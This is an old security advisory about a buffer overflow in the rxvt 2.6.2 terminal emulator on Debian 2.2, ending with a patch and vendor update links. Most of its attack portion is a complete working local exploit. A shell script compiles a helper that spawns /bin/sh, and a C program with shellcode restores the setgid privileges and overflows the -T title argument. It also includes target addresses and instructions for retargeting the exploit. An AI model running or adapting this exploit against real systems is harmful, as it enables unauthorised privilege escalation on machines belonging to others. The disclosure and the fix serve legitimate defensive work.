COMMAND

    rxvt

SYSTEMS AFFECTED

    rxvt

PROBLEM

    Samuel  Dralet  found  following.   Rxvt  is  a  heavily  modified
    version of xvt.   Xvt is an  X terminal-emulator that  is designed
    to be  more or  less compatible  with xterm  while using much less
    swap space.

    Versions 2.6.2 contain a  buffer overflow vulnerability.   As rxvt
    is installed setgid utmp on Debian 2.2, an attacker might be  able
    to  successfully  exploit  this  vulnerability  and  gain  special
    privileges on the local system.

    The  program   described  here   exploits  the   buffer   overflow
    vulnerability present in the command.c file:

        > tt_printf("\033]l%s\033\\", s ? s : "");

    with tt_printf() :

        void
        tt_printf(const char *fmt,...)
        {
            int i;
            va_list         arg_ptr;
            unsigned char   buf[256];

            va_start(arg_ptr, fmt);
            vsprintf(buf, fmt, arg_ptr);
            va_end(arg_ptr);
            tt_write(buf, strlen(buf));
        }

    's' is a string  provided to rxvt by  the user thanks to  the '-T'
    option.   Another  option  '-name'   is  also  vulnerable.    Rxvt
    supports  the  main  escape  sequences,  so  when a user types the
    sequence 'echo -ne "\033[21t"', the window title will be displayed
    to stdout.   If this  user supplies  a title  with more  than  256
    caracters, rxvt will do a segmentation fault.

    This vulnerability  is a  classic buffer  overflow besides several
    details.  At first, rxvt  drops permissions at once in  main.c but
    in  an  incorrect  way.    It's  then  possible  to  recover   the
    permissions via  the saved  gid, which  is done  very well  by the
    shellcode.

    After having  written the  first version  of exploit,  /bin/sh was
    started well but  terminated before a  prompt was returned  to the
    user.  In  fact, Rxvt closes  stdin and stdout  before opening the
    window.   It  has  thus  been  necessary  to write a program which
    recovers the  name of  the tty  (thanks to  stderr which is always
    open), which  opens again  stdin and  stdout, and  which runs then
    /bin/sh.  This program '/tmp/xx' is run by the shellcode.

    The exploit should work  against systems protected with  the Linux
    Kernel patch from the Openwall Project.   The idea is to copy  the
    shellcode to  the GOT  that is  executable.   The current  version
    successfully  exploits  rxvt  on  Debian  Linux  2.2  system (rxvt
    version 2.6.2)

    To add some platforms, you must give three parameters :
    1) path of binary
    2) entry in the PLT strcpy

        $objdump -T /path/to/filename | grep strcpy
        0804add0      DF *UND*	00000020  GLIBC_2.0   strcpy
        ^^^^^^^^

    3) entry in the GOT strcpy

        $objdump -R /path/to/filename | grep strcpy
        0805c964 R_386_JUMP_SLOT   strcpy
        ^^^^^^^^

    The code:

    #!/bin/sh

    #
    # MasterSecuritY <www.mastersecurity.fr>
    #
    # xrxvt.sh - Local exploit for xrxvt 2.6.2
    # Copyright (C) 2001  Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
    # Copyright (C) 2001  Samuel "Zorgon" Dralet <samuel.dralet@mastersecurity.fr>
    #
    # This program is free software; you can redistribute it and/or modify
    # it under the terms of the GNU General Public License as published by
    # the Free Software Foundation; either version 2 of the License, or (at
    # your option) any later version.
    #
    # This program is distributed in the hope that it will be useful,
    # but WITHOUT ANY WARRANTY; without even the implied warranty of
    # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
    # General Public License for more details.
    #
    # You should have received a copy of the GNU General Public License
    # along with this program; if not, write to the Free Software
    # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
    # USA
    #

    echo "rxvt-2.6.2 exploit for Linux Debian 2.2"
    echo "Which target :"
    echo -e "\t0. rxvt 2.6.2 (package deb) on Debian 2.2"
    echo -e "\t1. rxvt 2.6.2 (tarball) on Debian 2.2"
    echo
    echo -n "target : "

    read TARGET

    cat > /tmp/xx.c <<EOF
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>

    int main()
    {
	    char * p_ttyname;
	    char * argv[] = { "/bin/sh", NULL };

	    p_ttyname = ttyname( STDERR_FILENO );
	    if ( p_ttyname == NULL ) {
		    return( -1 );
	    }
	    if ( open(p_ttyname, O_RDONLY) != STDIN_FILENO ) {
		    return( -1 );
	    }
	    if ( open(p_ttyname, O_WRONLY) != STDOUT_FILENO ) {
		    return( -1 );
	    }

	    execve( argv[0], argv, NULL );
	    return( -1 );
    }
    EOF
    gcc -o /tmp/xx /tmp/xx.c
    rm -f /tmp/xx.c

    cat > /tmp/xrxvt.c << EOF
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <X11/X.h>
    #include <X11/Xlib.h>

    #define BUF 256	/* buffer size */
    #define EBP 4
    #define EIP 4
    #define ESC 3	/* alignment */

    #define GID "\x2b"
    #define DISPLAY ":0"
    #define STACK ( 0xc0000000 - 4 )

    Display *d;

    char shellcode[] =
    /* setregid( -1, GID ); */
    "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1"GID"\x31\xc0\xb0\x47\xcd\x80"
    /* setregid( GID, GID ); */
    "\x31\xdb\x31\xc9\xb3"GID"\xb1"GID"\x31\xc0\xb0\x47\xcd\x80"
    /* Aleph One ;) */
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/tmp/xx";

    struct os
    {
        int id;
        char *desc;
        char *path;
        unsigned long plt;
        unsigned long got;
    };

    struct os target[]=
    {
        { 0, "rxvt 2.6.2 (package deb) on Debian 2.2", "/usr/X11R6/bin/rxvt-xterm",
          0x0804add0, 0x0805c964 },
        { 1, "rxvt 2.6.2 (tarball) on Debian 2.2", "/usr/local/bin/rxvt",
          0x0804a690, 0x08059e1c },
        { 2, NULL, 0, 0 }
    };

    void usage ( char *cmd )
    {
        int i;
        fprintf(stderr, "rxvt-2.6.2 exploit for Linux Debian 2.2\n");
        fprintf(stderr, "usage: %s <target>\n",cmd);
        fprintf(stderr, "with target:\n\n");
        for( i < 0; i < sizeof(target) / sizeof(struct os); i++ )
	    fprintf(stderr, "%d. %s\n", i, target[i].desc);

        exit( -1 );
    }

    int main(int argc, char *argv[])
    {
        char buffer[ BUF - ESC + EBP + EIP + 12 + 1];
        char * exec_argv[] = { NULL, "-T", buffer, NULL };
        char * envp[] = { shellcode, NULL };
        int i, t;
        char *path;

        if ( argc != 2 )
	    usage(argv[0]);

        t = atoi(argv[1]);
        if( t < 0 || t >= sizeof(target) / sizeof(struct os) )
	    usage( argv[0] );

        path = (char *)malloc(strlen(target[t].path)+1);
        strcpy(path,target[t].path);

        if ( (d = XOpenDisplay(DISPLAY)) == NULL ){
	    fprintf(stderr, "Unable to open display: %s\n", DISPLAY);
	    exit(10);
        }

        for ( i = 0; i < BUF - ESC + EBP; i++ ) {
	    buffer[ i ] = 'A';
        }

        *( (size_t *) &(buffer[i]) ) = target[t].plt;
        i += sizeof(size_t);
        *( (size_t *) &(buffer[i]) ) = target[t].got + 4;
        i += sizeof(size_t);
        *( (size_t *) &(buffer[i]) ) = target[t].got + 4;
        i += sizeof(size_t);
        *( (size_t *) &(buffer[i]) ) = STACK - (strlen(path) + 1) - sizeof(shellcode);
        i += sizeof(size_t);

        buffer[i] = '\0';

        exec_argv[0] = path;
        execve( exec_argv[0], exec_argv, envp );
        return( -1 );
    }
    EOF
    gcc -o /tmp/xrxvt /tmp/xrxvt.c -lX11
    rm -f /tmp/xrxvt.c

    echo "Go to rxvt window and type 'echo -ne \"\033[21t\"' ..."
    echo "And see ..."
    /tmp/xrxvt $TARGET

SOLUTION

    Remove the setgid bit from rxvt or apply this patch:

    *** command.c   Mon Jun  4 23:13:34 2001
    --- command.patch.c     Mon Jun  4 23:15:11 2001
    ***************
    *** 2378,2384 ****
          unsigned char   buf[256];

          va_start(arg_ptr, fmt);
    !     vsprintf(buf, fmt, arg_ptr);
          va_end(arg_ptr);
          tt_write(buf, strlen(buf));
      }
    --- 2378,2384 ----
          unsigned char   buf[256];

          va_start(arg_ptr, fmt);
    !     vsnprintf(buf, sizeof(buf), fmt, arg_ptr);
          va_end(arg_ptr);
          tt_write(buf, strlen(buf));
      }

    For Debian:

        http://security.debian.org/dists/stable/updates/main/source/rxvt_2.6.2-2.1.diff.gz
        http://security.debian.org/dists/stable/updates/main/source/rxvt_2.6.2-2.1.dsc
        http://security.debian.org/dists/stable/updates/main/source/rxvt_2.6.2.orig.tar.gz
        http://security.debian.org/dists/stable/updates/main/binary-alpha/rxvt-ml_2.6.2-2.1_alpha.deb
        http://security.debian.org/dists/stable/updates/main/binary-alpha/rxvt_2.6.2-2.1_alpha.deb
        http://security.debian.org/dists/stable/updates/main/binary-arm/rxvt-ml_2.6.2-2.1_arm.deb
        http://security.debian.org/dists/stable/updates/main/binary-arm/rxvt_2.6.2-2.1_arm.deb
        http://security.debian.org/dists/stable/updates/main/binary-i386/rxvt-ml_2.6.2-2.1_i386.deb
        http://security.debian.org/dists/stable/updates/main/binary-i386/rxvt_2.6.2-2.1_i386.deb
        http://security.debian.org/dists/stable/updates/main/binary-m68k/rxvt-ml_2.6.2-2.1_m68k.deb
        http://security.debian.org/dists/stable/updates/main/binary-m68k/rxvt_2.6.2-2.1_m68k.deb
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/rxvt-ml_2.6.2-2.1_powerpc.deb
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/rxvt_2.6.2-2.1_powerpc.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/rxvt-ml_2.6.2-2.1_sparc.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/rxvt_2.6.2-2.1_sparc.deb

    For Immunix OS:

        http://download.immunix.org/ImmunixOS/6.2/updates/RPMS/rxvt-2.6.1-8_StackGuard_1.i386.rpm
        http://download.immunix.org/ImmunixOS/6.2/updates/SRPMS/rxvt-2.6.1-8_StackGuard_1.src.rpm
        http://download.immunix.org/ImmunixOS/7.0/updates/RPMS/rxvt-2.6.3-2_imnx_2.i386.rpm
        http://download.immunix.org/ImmunixOS/7.0/updates/SRPMS/rxvt-2.6.3-2_imnx_2.src.rpm

    Because rxvt has never been installed setgid on any Mandrake Linux
    system, Mandrake Linux is not vulnerable to the problem.